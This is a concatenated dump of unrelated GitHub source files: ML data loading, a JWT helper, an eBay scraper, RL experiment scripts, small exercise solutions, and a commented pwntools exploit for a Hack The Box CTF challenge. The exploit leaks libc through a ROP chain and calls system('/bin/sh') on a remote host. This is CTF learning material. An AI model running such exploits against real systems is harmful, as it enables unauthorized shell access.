DataLoader(self.test_set, batch_size=self.test_batch_size)\n\n @staticmethod\n def _collect_files(directory: str) -> List[str]:\n \"\"\"Collects all file path names from files\n in given directory.\n\n Args:\n directory (str): Directory path to\n collect filenames from.\n\n Returns:\n List[str]: File path for each file\n that is not an invisible file.\n \"\"\"\n files = []\n for file_name in os.listdir(directory):\n if not file_name.startswith(\".\"):\n files.append(os.path.abspath(os.path.join(directory, file_name)))\n logger.info(\"Collected %i files from '%s'\", len(files), directory)\n return files\n","repo_name":"lucakretz/small-data-ml-process","sub_path":"model_training/data_module.py","file_name":"data_module.py","file_ext":"py","file_size_in_byte":6220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2202681127","text":"import datetime\nimport jwt\n\nclass TokenHandler():\n '''\n This is a helper class with the sole purpose of handling the authorization for this API\n '''\n\n @staticmethod\n def get_encoded_token(user_id, secret_key):\n\n payload = {\n 'exp': datetime.datetime.utcnow() + datetime.timedelta(0, seconds=3600),\n 'iat': datetime.datetime.utcnow(),\n 'sub': user_id\n }\n\n return jwt.encode(\n payload,\n secret_key,\n algorithm='HS256'\n )\n\n @staticmethod\n def decode_token(token, secret_key):\n return jwt.decode(token, secret_key)\n\n","repo_name":"nathantau/BigBrain","sub_path":"token_handler.py","file_name":"token_handler.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9795929797","text":"#!/usr/bin/env python3\n\nfrom ebaysdk.finding import Connection as Finding\nfrom ebaysdk.shopping import Connection as Shopping\nfrom ebaysdk.exception import ConnectionError\n\nimport json, re, datetime, os, requests\n\nrequest = {\n \"keywords\": \"\",\n \"categoryId\": \"9355\",\n \"itemFilter\": [\n {\"name\": \"LocatedIn\", \"value\": \"US\"}\n ],\n \"paginationInput\": {\n \"entriesPerPage\": 100,\n \"pageNumber\": 1\n },\n }\n\n# DateTime object in the response make json.dumps failed. I Modified the default encoder to handle the type datetime. \njson.JSONEncoder.default = lambda self,obj: (obj.isoformat() if isinstance(obj, datetime.datetime) else obj.__dict__)\n\ndef getResponseFromQuery(query, pageNum):\n \"\"\" Execute a request to the eBay API using a search query and the page number.\n The response returned contains informations about each ad on the page.\n\n Attributes:\n query (str): The eBay search query.\n pageNum (int): The page number to make the request. Pages have 100 entries per page.\n\n Returns:\n ebaysdk.response.Response corresponding to the query passed and the page number.\"\"\"\n\n try:\n request[\"paginationInput\"][\"pageNumber\"] = pageNum\n request[\"keywords\"] = query\n api = Finding(config_file=\"ebaysdk/ebay.yaml\", siteid=\"EBAY-US\")\n return api.execute(\"findItemsAdvanced\", request)\n except ConnectionError as e:\n print(e)\n print(\"Request to the ebay API has failed.\")\n\n\n\ndef getResponseFromItemId(itemId):\n \"\"\" Execute a request to the eBay API using an itemId.\n The response returned contains informations about the ad.\n\n Attributes:\n itemId (str): The id of the eBay ad.\n\n Returns:\n ebaysdk.response.Response corresponding to the itemId.\"\"\"\n\n try:\n api = Shopping(config_file=\"ebaysdk/ebay.yaml\", siteid=\"EBAY-US\")\n response = api.execute(\"GetSingleItem\", {\"ItemID\": itemId})\n return response\n except ConnectionError as e:\n print(e)\n print(e.response.dict())\n\n\ndef responseToList(response):\n \"\"\" Format the response into a list of dictionaries.\n Each dictionary contains data about the item in each ad \n from the eBay response.\n\n Attributes:\n response (ebaysdk.response.Response): The response from the ebay API.\n\n Returns:\n list of dictionnaries corresponding to the query passed and the page number.\n If the response is from the search API returns the response as a dictionnary else.\"\"\"\n\n responseList = []\n if hasattr(response.reply, \"searchResult\"):\n for item in response.reply.searchResult.item:\n try:\n responseList.append(item.__dict__)\n except Exception as e:\n print(e)\n print(\"FormatResponse failed for a response.\")\n return responseList\n\n\n\ndef printResponse(response):\n \"\"\" Print the response obtained from the eBay API in a readable way.\n\n Args:\n response (ebaysdk.response.Response): The response from the ebay API.\"\"\"\n\n print(json.dumps(json.loads(response.json()), indent=4 ))\n\n\n\ndef printListOfDictionaries(responseList):\n \"\"\" Print the a list of dictionaries, or a dictionary in a readable way.\n \n Attributes:\n response (list, dict): a list containing dictionaries, or a dictionary.\"\"\"\n \n\n if type(responseList) == list:\n for item in responseList:\n print(json.dumps(item, indent=4))\n elif type(responseList) == dict:\n print(json.dumps(responseList, indent=4))\n else:\n raise Exception(\"Argument passed should be of type dictionary or list\")\n\n\n\ndef getValue(dictionary, key):\n \"\"\" Gets the value of corresponding to a key in a mutlidimensional dictionary.\n\n Attributes:\n dictionary (dict): a dictionary.\n key (str): the key corresponding to the value to return. \n \n Returns: \n the value corresponding to the key if the key is in the dictionary, return None otherwise.\"\"\"\n\n value = None\n if key not in dictionary:\n for i in dictionary.keys():\n if type(dictionary[i]) != str and type(dictionary[i]) != list: \n if value == None:\n value = getValue(dictionary[i].__dict__, key)\n return value\n else:\n return dictionary[key]\n\n\n\ndef formatActiveAds(responseList):\n \"\"\" Formats a list of dictionaries obtained from a request to the eBay api.\n format is of the form: { itemId: endTime }. Used to get the final infos on ads\n when they end.\n\n Attributes:\n responseList (list): a list containing dictionaries. \n\n Returns:\n A list of dictionaries of the form: { itemId: endTime }.\"\"\"\n\n for i in range(len(responseList)):\n itemId = responseList[i][\"itemId\"]\n endTime = getValue(responseList[i], \"endTime\")\n responseList[i] = {itemId: endTime}\n return responseList\n\n\n\ndef formatFinishedAds(responseList):\n \"\"\" Formats a list of dictionaries obtained from a request to the eBay api.\n format is of the form: { itemId: {data about the item} }.\n\n Attributes:\n responseList (list): a list containing dictionaries. \n\n Returns:\n A list of dictionaries of the form: { itemId: {data about the item} }.\"\"\"\n\n for i in range(len(responseList)):\n itemId = responseList[i][\"ItemID\"]\n responseList[i] = {itemId: responseList[i]}\n return responseList\n\n\n\ndef writeAdsToFile(responseList, path):\n \"\"\" Write to a file (.json) the ads that are not in the file. \n Uses the itemId from the response obtained from the eBay API,\n to check if an ad is already present in the file.\n \n Attributes:\n responseList (list): a list containing dictionaries.\n path (str): the of a json file to write the new data to.\n \n Returns:\n an integer corresponding to the number of new ads added to the file.\"\"\" \n\n # Check if the itemId is in the .json file and remove the item from \n # responseList if ItemId was found.\n with open(path, mode=\"r\", encoding=\"utf-8\") as adsFile:\n ads = json.loads(adsFile.read())\n\n for item in list(responseList):\n itemId = list(item)[0]\n if itemId in ads: responseList.remove(item)\n \n\n with open(path, mode=\"r+\", encoding=\"utf-8\") as adsFile:\n ads = adsFile.read()\n isEmptyFile = len(json.loads(ads)) == 0\n\n # Remove the last 2 characters of the file. (\\n and } for .json files)\n adsFile.seek(adsFile.tell() - 1, os.SEEK_SET)\n adsFile.write(\"\")\n\n # Append the new ads to the end of the .json file.\n for item in responseList:\n if not isEmptyFile:\n adsFile.write(\",\" + json.dumps(item, indent=4)[1:-2])\n else: \n isEmptyFile = False\n adsFile.write(json.dumps(item, indent=4)[1:-2])\n adsFile.write(\"\\n}\")\n \n return len(responseList)\n\n\n\ndef writeDataFinishedAds(path1, path2):\n \"\"\" Get the data from ads that ended. Uses the itemId of af an ad to make a request to the eBay API.\n Uses the endTime attribute of an ad to verify if the ad has ended. \n Removes the ads from path1 that have ended.\n \n Attributes:\n path1 (str): the path of a json file where the itemId and endTime of an ad are stored.\n path2 (str): the path of a json file to store the final data from ads once they have ended.\"\"\" \n\n \n # Get the ads in path1.\n with open(path1, mode=\"r\", encoding=\"utf-8\") as file1:\n ads = json.loads(file1.read())\n responseList = []\n\n for itemId in list(ads):\n hasPassed = isDatePassed(ads[itemId])\n if hasPassed: \n # Remove the ads that have ended.\n ads.pop(itemId)\n\n # Get the response from the ItemId if the ad has ended and is still an ad.\n response = getResponseFromItemId(itemId)\n if response is not None:\n responseDict = response.dict()[\"Item\"]\n responseList.append(responseDict)\n \n\n # Write the ads that have ended to path2.\n formatedResponse = formatFinishedAds(responseList)\n totalAds = writeAdsToFile(formatedResponse, path2)\n \n # Remove the ads that have ended in path1.\n with open(path1, mode=\"w\", encoding=\"utf-8\") as file1:\n json.dump(ads, file1, indent=4)\n\n print(\"%d new ad(s) added to %s\" % (totalAds, path2))\n return totalAds\n\n\ndef isDatePassed(date):\n \"\"\" Returns if the string date has passed or not.\n \n Attributes:\n date (str): the date to compare to the present date.\n \n Returns:\n True if the date has passed. False otherwise.\"\"\"\n\n try:\n endTime = datetime.datetime.strptime(date, \"%Y-%m-%dT%H:%M:%S\")\n return datetime.datetime.now() >= endTime\n except Exception as e:\n print(e)\n print(\"Date parsing has failed.\")\n\n\n\ndef getDataOnItem(query, filename):\n \"\"\" Creates a JSON file containing data from the items corresponding to the query passed.\n Get the data from the eBay API on an item using a query.\n The data is updated everytime the function is called. Tracks\n the end time of each ad in order to know when to get the final\n data from each ads. \n \n Attributes:\n query (str): The eBay search query.\n filename (str): The name of the file (json) to store the data to.\"\"\"\n\n path1 = \"Active/active\" + filename + \".json\"\n path2 = \"Final/\" + filename + \".json\"\n if not os.path.isfile(path1):\n with open(path1, mode=\"w\") as file1:\n file1.write(\"{\\n\\n}\")\n if not os.path.isfile(path2):\n with open(path2, mode=\"w\") as file2:\n file2.write(\"{\\n\\n}\")\n\n totalAds = 0\n for i in range(10): \n response = getResponseFromQuery(query, i)\n responseList = responseToList(response)\n formatedResponse = formatActiveAds(responseList)\n totalAds += writeAdsToFile(formatedResponse, path1)\n \n clearDuplicates(\"Active\")\n \n print(\"%d new ad(s) added to %s\" % (totalAds, path1))\n totalAds = writeDataFinishedAds(path1, path2) \n return totalAds if totalAds else 0\n\n\n\ndef clearDuplicates(directory):\n files = os.listdir(directory)\n itemIds = {}\n duplicateIds = []\n\n # Get the ItemIds in all the files in the directory\n for f in files:\n if re.match(\"(.*?).json\", f):\n with open(directory + \"/\" + f, mode=\"r\") as file:\n responseList = json.load(file)\n for i in responseList:\n if i not in itemIds: itemIds[i] = responseList[i]\n else: duplicateIds.append(i)\n\n # Remove the duplicates in every files in the directory\n for f in files:\n if re.match(\"(.*?).json\", f):\n responseList = None \n with open(directory + \"/\" + f, mode=\"r\") as file:\n responseList = json.load(file)\n for i in duplicateIds:\n if i in responseList: del responseList[i]\n with open(directory + \"/\" + f, mode=\"w\") as file:\n json.dump(responseList, file, indent=4)\n\n duplicateDict = None\n\n # Create a duplicates.json file in the directory if it does not exist.\n if not os.path.exists(directory + \"duplicates.json\"):\n with open(directory + \"/duplicates.json\", \"w\") as duplicate:\n duplicate.write(\"{\\n}\")\n\n # Ad all the duplicates to the duplicates.json file\n with open(directory + \"/duplicates.json\", \"r\") as duplicate:\n duplicateDict = json.load(duplicate)\n for i in duplicateIds:\n duplicateDict[i] = itemIds[i]\n with open(directory + \"/duplicates.json\", \"w\") as duplicate:\n json.dump(duplicateDict, duplicate, indent=4)\n\n \n\nif __name__ == \"__main__\":\n os.chdir(\"/Users/jeanmer/Desktop/Python/Ebay\")\n\n added = []\n added.append(getDataOnItem(\"Iphone 7s\", \"IPhone7s\"))\n added.append(getDataOnItem(\"Iphone 10\", \"IPhone10\"))\n added.append(getDataOnItem(\"Iphone 8\", \"IPhone8\"))\n added.append(getDataOnItem(\"Iphone SE\", \"IPhoneSE\"))\n added.append(getDataOnItem(\"Iphone 7\", \"IPhone7\"))\n added.append(getDataOnItem(\"Iphone X\", \"IPhoneX\"))\n added.append(getDataOnItem(\"Iphone Xr\", \"IPhoneXr\"))\n from Count import printInfo\n printInfo(added)\n\n\n\n\n\n","repo_name":"jbmerville/Ebay-Ads-Analysis","sub_path":"ebay.py","file_name":"ebay.py","file_ext":"py","file_size_in_byte":12483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7685761993","text":"#! /usr/bin/env python\r\n\r\n#FULL RELRO -> GOT is read-only and cannot be overwritten\r\n#NX enabled -> Stack not executable, no shellcode\r\n#PIE Enabled -> ASLR\r\n\r\nfrom pwn import *\r\nfrom pprint import pprint\r\n\r\ncontext.arch = 'amd64'\r\n\r\nelf = ELF('./restaurant')\r\n#p = elf.process()\r\np = remote('46.101.33.243',32272)\r\noffset = 32+8 #Checked stack in Ghidra. RSP - 0x20(32)bytes when allocating stack. \r\n#This means to reach RBP, + 32bytes. Another +8bytes to reach Return Address.\r\n\r\nrop = ROP(elf)\r\n\r\n\r\nPOP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]\r\nRET = (rop.find_gadget(['ret']))[0]\r\nNULL = next(elf.search(b\"\\n\\x00\")) #To clear buffer to get correct leaked puts address.\r\n\r\n\r\nlog.info(f'symbols_puts = {hex(elf.symbols[\"puts\"])}') #symbols_put = plt_puts\r\nlog.info(f'plt_puts = {hex(elf.plt[\"puts\"])}')\r\nlog.info(f'got_puts = {hex(elf.got[\"puts\"])}') #GOT address of puts\r\n\r\n\r\n\r\npayload = [\r\n b'A'*offset,\r\n\r\n p64(POP_RDI), #RDI is use for first argument. Save the value at the top of the stack (NULL since the RSP will point to it after POP_RDI executes) to RDI.\r\n p64(NULL), #NULL value to be popped in RDI.\r\n p64(elf.plt['puts']),\r\n\r\n p64(RET), #Stack alignment, make it even from 7 to 8 instructions.\r\n\r\n p64(POP_RDI),\r\n p64(elf.got['puts']), #Pass puts GOT address to puts function as argument to leak the address content.\r\n p64(elf.symbols['puts']), #Execute puts function. puts(got_puts) -> To get the content *got_puts.\r\n p64(elf.symbols['fill']) #Execute fill function again.\r\n]\r\n\r\n\r\npayload = b''.join(payload)\r\n\r\n\r\np.sendlineafter(\">\",\"1\")\r\np.sendlineafter(\">\",payload)\r\n\r\nprint(p.recvuntil(\"\\n\"))\r\nprint(p.recvuntil(\"\\n\"))\r\nprint(p.recvuntil(\"\\n\"))\r\n\r\n\r\nputs = u64(p.recvuntil(\"\\n\").rstrip().ljust(8,b'\\x00')) #Remove \\n, padded \\x00 on the right, then unpack.\r\nlog.info(f\"puts found at {hex(puts)}\")\r\n\r\n#Search in lib_c database for puts with the above address. Give us the libc.so.6 as shown.\r\nlibc = ELF('libc.so.6')\r\n\r\nlibc.address = puts - libc.symbols[\"puts\"] #libc.symbols[\"puts\"] is an offset value. puts is *elf.got[\"put\"] which is the address of puts in libc.\r\n#Therefore to get the runtime libc base address, have to minus the offset.\r\n#Example:\r\n#libc.address = *elf.got[\"puts\"] - libc.symbols[\"puts\"]\r\n#0x100000 = 0x180aa0 - 0x080aa0\r\n\r\nlog.info(f\"libc base address determined {hex(libc.address)}\")\r\n\r\n#Create ROP chain\r\nrop_libc = ROP(libc)\r\nrop_libc.call(libc.symbols[\"puts\"], [ next(libc.search(b\"/bin/sh\\x00\")) ]) #For stack alignment. 3 + 3 instructions = 6 (Even)\r\nrop_libc.call(libc.symbols[\"system\"],[next(libc.search(b'/bin/sh\\x00'))]) \r\n\r\npayload = [\r\n b\"A\"*offset,\r\n rop_libc.chain()\r\n]\r\n\r\npayload = b\"\".join(payload)\r\n\r\np.sendlineafter(\">\",payload)\r\n\r\n# p.recvuntil(\"Drink something\\n\")\r\n# p.sendline(\"1\")\r\n# p.recvuntil(\"You can also order something else.\\n\")\r\n# p.sendline(payload)\r\n\r\np.interactive()\r\n\r\n\r\n","repo_name":"Cy1603/CTFs-and-Server-Hacking-Writeups","sub_path":"Hack The Box Writeups/Pwn/Restaurant - Pwn Challenge - HTB Exploit (ROP).py","file_name":"Restaurant - Pwn Challenge - HTB Exploit (ROP).py","file_ext":"py","file_size_in_byte":2886,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"61"} +{"seq_id":"44290609490","text":"from collections import defaultdict\n# defaultdict를 쓰는 이유는 입력으로 survey에서 지표에 대한것이 안나올 수도 있음.\n# 기본 점수 0 을 표현하기 위해서\n\ndef solution(survey, choices):\n score = defaultdict(int)\n for sv, choice in zip(survey, choices):\n # print(f\"sv: {sv}, choice = {choice}\")\n if choice > 4: # 동의 관련된 성격 유형\n score[sv[1]] += choice - 4\n elif choice < 4: # 비동의에 대한 성격 유형\n score[sv[0]] += 4 - choice\n\n\n # print(f\"score : {score}\")\n\n answer = []\n indices_1 = \"R\" if score[\"R\"] >= score[\"T\"] else \"T\"\n indices_2 = \"C\" if score[\"C\"] >= score[\"F\"] else \"F\"\n indices_3 = \"J\" if score[\"J\"] >= score[\"M\"] else \"M\"\n indices_4 = \"A\" if score[\"A\"] >= score[\"N\"] else \"N\"\n\n answer = indices_1 + indices_2 + indices_3 + indices_4\n return answer\n\nsurvey = [\"AN\", \"CF\", \"MJ\", \"RT\", \"NA\"]\nchoices = [5, 3, 2, 7, 5]\nsolution(survey, choices)\n","repo_name":"Slowth-KIM/crewcrew-coding-test-study","sub_path":"최강헌/카카오기출문제/성격유형검사.py","file_name":"성격유형검사.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"ko","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"2583542153","text":"# py\nfrom typing import Mapping, Tuple, Callable, Dict\n\n# nn & rl\nimport gym\nimport haiku as hk\nimport optax\nfrom bayes_opt import BayesianOptimization, UtilityFunction\n\n# lib\nfrom General.QLearning.q_agent import Agent\n\n\nclass ParamAgent(Agent):\n\n def __init__(self,\n network: hk.Transformed,\n params: hk.Params,\n optimizer: optax.adam,\n opt_state: Mapping,\n env: gym.Env,\n buffer_size: int,\n obs_shape: Tuple,\n ac_shape: Tuple,\n max_episodes: int,\n max_steps: int,\n training_start: int,\n back_up_frequency: int,\n reward_to_reach: float,\n num_actions: int,\n saving_directory: str,\n monitoring: bool = False,\n gamma: float = 0.,\n epsilon: float = 0.,\n epsilon_decay_rate: float = 0.,\n min_epsilon: float = 0.,\n replace_frequency: int = 0,\n batch_size: int = 0,\n train_frequency: int = 0,\n ):\n super(ParamAgent, self).__init__(\n network,\n params,\n optimizer,\n opt_state,\n env,\n buffer_size,\n obs_shape,\n ac_shape,\n gamma,\n epsilon,\n epsilon_decay_rate,\n min_epsilon,\n max_episodes,\n max_steps,\n training_start,\n batch_size,\n train_frequency,\n back_up_frequency,\n replace_frequency,\n reward_to_reach,\n num_actions,\n saving_directory,\n monitoring,\n verbose=0,\n )\n\n @property\n def max_episodes(self) -> int:\n return self.max_episodes\n\n @max_episodes.setter\n def max_episodes(self, value: int):\n self._max_episodes = value\n\n def inject(self,\n gamma: float,\n epsilon: float,\n epsilon_decay_rate: float,\n min_epsilon: float,\n replace_frequency: int,\n batch_size: int,\n train_frequency: int,\n ):\n self._gamma = gamma\n self._epsilon = epsilon\n self._epsilon_decay_rate = epsilon_decay_rate\n self._min_epsilon = min_epsilon\n self._replace_frequency = replace_frequency\n self._batch_size = batch_size\n self._train_frequency = train_frequency\n\n\ndef generate_util_func(agent: ParamAgent, episodes) -> Callable:\n agent.max_episodes = episodes\n\n def util_func(gamma: float,\n epsilon: float,\n epsilon_decay_rate: float,\n min_epsilon: float,\n replace_frequency: int,\n batch_size: int,\n train_frequency: int,\n ) -> float:\n agent.inject(gamma, epsilon, epsilon_decay_rate, min_epsilon, replace_frequency, batch_size, train_frequency)\n agent.training()\n avg_reward = agent.evaluate()\n return avg_reward\n\n return util_func\n\n\ndef optimize(agent: ParamAgent, episodes: int = 500, runs: int = 20) -> Dict:\n black_box_func: Callable = generate_util_func(agent, episodes)\n bounds: Dict = {\n \"gamma\": [0.9, 0.999],\n \"epsilon\": [0.6, 1.],\n \"epsilon_decay_rate\": [0.9, 0.999],\n \"min_epsilon\": [0.001, 0.2],\n \"replace_frequency\": [20, 70],\n \"batch_size\": [38, 70],\n \"train_frequency\": [2, 15]\n }\n optimizer = BayesianOptimization(black_box_func, pbounds=bounds, verbose=2, random_state=1000)\n util_func = UtilityFunction(kind=\"ucb\", kappa=1.96, xi=0.01)\n for run in range(runs):\n next_point = optimizer.suggest(util_func)\n next_point[\"replace_frequency\"] = int(next_point[\"replace_frequency\"])\n next_point[\"batch_size\"] = int(next_point[\"batch_size\"])\n next_point[\"train_frequency\"] = int(next_point[\"train_frequency\"])\n target = black_box_func(**next_point)\n optimizer.register(next_point, target)\n print(\"Run: {}\".format(run))\n print(\"params: {} \\n target: {}\".format(next_point, target))\n print(\"-----\")\n return optimizer.max\n","repo_name":"hal9000universe/deep-reinforcement-learning","sub_path":"General/QLearning/hyperparameter_optimization.py","file_name":"hyperparameter_optimization.py","file_ext":"py","file_size_in_byte":4343,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"25935052862","text":"#!/usr/bin/env python\nfrom segmentcentroid.a3c.driver import train, collect_demonstrations\nfrom segmentcentroid.tfmodel.AtariVisionModel import AtariVisionModel\nfrom segmentcentroid.tfmodel.AtariRAMModel import AtariRAMModel\nfrom segmentcentroid.a3c.augmentedEnv import AugmentedEnv\nfrom segmentcentroid.inference.forwardbackward import ForwardBackward\nimport tensorflow as tf\n\nimport argparse\nimport numpy as np\n\nimport ray\nimport gym\n\nray.init()\n#MontezumaRevenge-v0\ndef runDDOI(env_name=\"PongDeterministic-v3\",\n num_options=2, \n ddo_learning_rate=1e-3,\n inital_steps=10,\n steps_per_discovery=10000,\n rounds=1,\n num_demonstrations_per=100,\n ddo_max_iters=100,\n ddo_vq_iters=100,\n num_workers=1):\n\n g = tf.Graph()\n\n #initialize graph\n with g.as_default():\n a = AtariVisionModel(num_options, actiondim=(gym.make(env_name).action_space.n,1))\n variables = ray.experimental.TensorFlowVariables(a.loss, a.sess)\n\n with tf.variable_scope(\"optimizer2\"):\n opt = tf.train.AdamOptimizer(learning_rate=ddo_learning_rate)\n a.sess.run(tf.initialize_all_variables())\n\n weights = variables.get_weights()\n\n #initialize with intrinsic motivation\n env, policy = train(num_workers, env_name=env_name, model=weights, k=num_options, max_steps=inital_steps, intrinsic=True)\n trajs,_ = collect_demonstrations(env, policy, N=num_demonstrations_per, epLengthProxy=True)\n\n for i in range(rounds):\n\n with g.as_default():\n\n with tf.variable_scope(\"optimizer2\"):\n\n vq = ddo_vq_iters\n if i > 0:\n vq = 0\n\n a.train(opt, trajs, ddo_max_iters, vq)\n\n weights = variables.get_weights()\n\n\n env, policy = train(num_workers, policy=policy, env_name=env_name, model=weights, k=num_options, max_steps=steps_per_discovery)\n trajs, reward = collect_demonstrations(env, policy, N=num_demonstrations_per)\n\n return {'reward': reward, 'env': env_name, 'num_options': num_options, 'ddo': True, 'intrinsic': True}\n\n\ndef runDDO(env_name=\"PongDeterministic-v3\",\n num_options=2, \n ddo_learning_rate=1e-3,\n steps_per_discovery=10000,\n rounds=1,\n num_demonstrations_per=100,\n ddo_max_iters=100,\n ddo_vq_iters=100,\n num_workers=1):\n\n g = tf.Graph()\n\n #initialize graph\n with g.as_default():\n a = AtariVisionModel(num_options, actiondim=(gym.make(env_name).action_space.n,1))\n variables = ray.experimental.TensorFlowVariables(a.loss, a.sess)\n\n with tf.variable_scope(\"optimizer2\"):\n opt = tf.train.AdamOptimizer(learning_rate=ddo_learning_rate)\n a.sess.run(tf.initialize_all_variables())\n\n weights = variables.get_weights()\n\n #run once to initialize\n env, policy = train(num_workers, env_name=env_name, model=weights, k=num_options, max_steps=1, intrinsic=False)\n trajs,_ = collect_demonstrations(env, policy, N=num_demonstrations_per)\n\n for i in range(rounds):\n\n with g.as_default():\n\n with tf.variable_scope(\"optimizer2\"):\n\n vq = ddo_vq_iters\n if i > 0:\n vq = 0\n\n a.train(opt, trajs, ddo_max_iters, vq)\n\n weights = variables.get_weights()\n\n\n env, policy = train(num_workers, policy=policy, env_name=env_name, model=weights, k=num_options, max_steps=steps_per_discovery)\n trajs, reward = collect_demonstrations(env, policy, N=num_demonstrations_per)\n\n return {'reward': reward, 'env': env_name, 'num_options': num_options, 'ddo': True, 'intrinsic': False}\n\n\ndef runA3C(env_name=\"PongDeterministic-v3\",\n steps=1000,\n num_demonstrations_per=100,\n num_workers=1):\n\n #run once to initialize\n env, policy = train(num_workers, env_name=env_name, max_steps=steps)\n trajs, reward = collect_demonstrations(env, policy, N=num_demonstrations_per)\n\n return {'reward': reward, 'env': env_name, 'ddo': False}\n\n\n\ndef runAll(num_steps, envs, num_workers, outputfile='out.p'):\n import pickle\n f = open(outputfile, 'wb')\n\n output = []\n\n for e in envs:\n print(\"Running\", e)\n\n if num_steps >= 5000:\n rounds = int(num_steps/9999)\n else:\n rounds = 1\n \n data = (runA3C(env_name=e, steps=num_steps, num_workers=num_workers),\n runDDO(env_name=e, steps_per_discovery=num_steps, rounds=rounds, num_workers=num_workers),\n runDDOI(env_name=e, steps_per_discovery=num_steps, rounds=rounds, num_workers=num_workers))\n\n print(\"###Data\", data)\n output.append(data)\n\n pickle.dump(output, f)\n\n\ndef atariRAMExp(env_name=\"SeaquestDeterministic-v3\",\n num_options=2, \n ddo_learning_rate=1e-3,\n inital_steps=100000,\n steps_per_discovery=400000,\n rounds=1,\n num_demonstrations_train=100,\n num_demonstrations_eval=10,\n ddo_max_iters=1000,\n ddo_vq_iters=100,\n num_workers=20,\n logdir=None):\n\n g = tf.Graph()\n\n if num_options > 0:\n #initialize graph\n with g.as_default():\n a = AtariVisionModel(num_options, actiondim=(gym.make(env_name).action_space.n,1))\n variables = ray.experimental.TensorFlowVariables(a.loss, a.sess)\n\n with tf.variable_scope(\"optimizer2\"):\n opt = tf.train.AdamOptimizer(learning_rate=ddo_learning_rate)\n a.sess.run(tf.initialize_all_variables())\n\n weights = variables.get_weights()\n\n else:\n weights = None\n num_options = None\n\n #initial training\n print(\"Initial training...\")\n env, policy = train(num_workers, env_name=env_name, model=weights, k=num_options, max_steps=inital_steps, intrinsic=False, logdir=logdir)\n trajs,_ = collect_demonstrations(env, policy, N=num_demonstrations_train)\n print(\"Done\")\n\n for i in range(rounds):\n \n if num_options is not None:\n print(\"Runnning DDO...\")\n with g.as_default():\n\n with tf.variable_scope(\"optimizer2\"):\n\n vq = ddo_vq_iters\n if i > 0:\n vq = 0\n\n a.train(opt, trajs, ddo_max_iters, vq)\n\n weights = variables.get_weights()\n print(\"Done\")\n\n print(\"Training on augmented env...\")\n env, policy = train(num_workers, policy=policy, env_name=env_name, model=weights, k=num_options, max_steps=steps_per_discovery, logdir=logdir)\n print('...')\n trajs, reward = collect_demonstrations(env, policy, N=num_demonstrations_eval)\n print(\"Done\")\n\n return trajs\n\n\nif __name__==\"__main__\":\n\n parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument('--env', help='environment name', default=\"SeaquestDeterministic-v3\", type=str)\n parser.add_argument('--num-options', help='number of options', default=5, type=int)\n parser.add_argument('--initial-steps', help='number of initial training steps', default=100000, type=int)\n parser.add_argument('--training-steps', help='number of training steps', default=400000, type=int)\n parser.add_argument('--out', help='output name', default=\"results.npy\", type=str)\n parser.add_argument('--logdir', help='log (tensorboard) directory name', default=\"results\", type=str)\n\n args = parser.parse_args()\n\n results = atariRAMExp(env_name=args.env,\n num_options=args.num_options, \n ddo_learning_rate=1e-3,\n inital_steps=args.initial_steps,\n steps_per_discovery=args.training_steps,\n rounds=1,\n num_demonstrations_train=500,\n num_demonstrations_eval=100,\n ddo_max_iters=1000,\n ddo_vq_iters=100,\n num_workers=20,\n logdir=args.logdir)\n \n np.save(args.out, results, allow_pickle=True)\n\n","repo_name":"UnrealLink/segment-centroid","sub_path":"runA3CExp.py","file_name":"runA3CExp.py","file_ext":"py","file_size_in_byte":8289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38543553544","text":"def print_notes(notes):\n for i, note in enumerate(notes):\n print(f'{i+1}. {note.title} ({note.date.strftime(\"%Y-%m-%d %H:%M:%S\")})')\n print(note.text)\n print()\n\ndef add_note():\n title = input('Введите заголовок заметки: ')\n text = input('Введите текст заметки: ')\n date_str = input('Введите дату и время в формате YYYY-MM-DD HH:MM:SS (нажмите Enter для текущей даты и времени): ')\n if date_str:\n date = datetime.strptime(date_str, '%Y-%m-%d %H:%M:%S')\n else:\n date = datetime.now()\n notes.add(Note(title, text, date))\n print('Заметка добавлена.')\n\ndef edit_note():\n index = int(input('Введите номер заметки для редактирования: ')) - 1\n note = notes.notes[index]\n print(f'Редактирование заметки \"{note.title}\":')\n new_title = input(f'Введите новый заголовок (нажмите Enter для сохранения текущего: \"{note.title}\"): ')\n new_text = input(f'Введите новый текст (нажмите Enter для сохранения текущего: \"{note.text}\"): ')\n notes.edit(index, title=new_title, text=new_text)\n print('Заметка отредактирована.')\n\ndef delete_note():\n index = int(input('Введите номер заметки для удаления: ')) - 1\n note = notes.notes[index]\n print(f'Удаление заметки \"{note.title}\"...')\n notes.delete(index)\n print('Заметка удалена.')\n\ndef filter_notes():\n date_str = input('Введите дату для фильтрации в формате YYYY-MM-DD: ')\n date = datetime.strptime(date_str, '%Y-%m-%d')\n filtered_notes = notes.filter_by_date(date)\n if filtered_notes:\n print(f'Заметки за {date_str}:')\n print_notes(filtered_notes)\n else:\n print(f'Нет заметок за {date_str}.')","repo_name":"ahmadullin/Notebook","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2048,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3208017642","text":"from typing import List\n\n\nclass Solution:\n def checkArithmeticSubarrays(self, nums: List[int], l: List[int], r: List[int]) -> List[bool]:\n ans = []\n for li, ri in zip(l, r):\n ans.append(self.f(nums[li: ri + 1]))\n return ans\n\n def f(self, nums):\n length = len(nums)\n if length < 2:\n return False\n nums.sort()\n target = nums[1] - nums[0]\n for i in range(1, length):\n if nums[i] - nums[i-1] != target:\n return False\n return 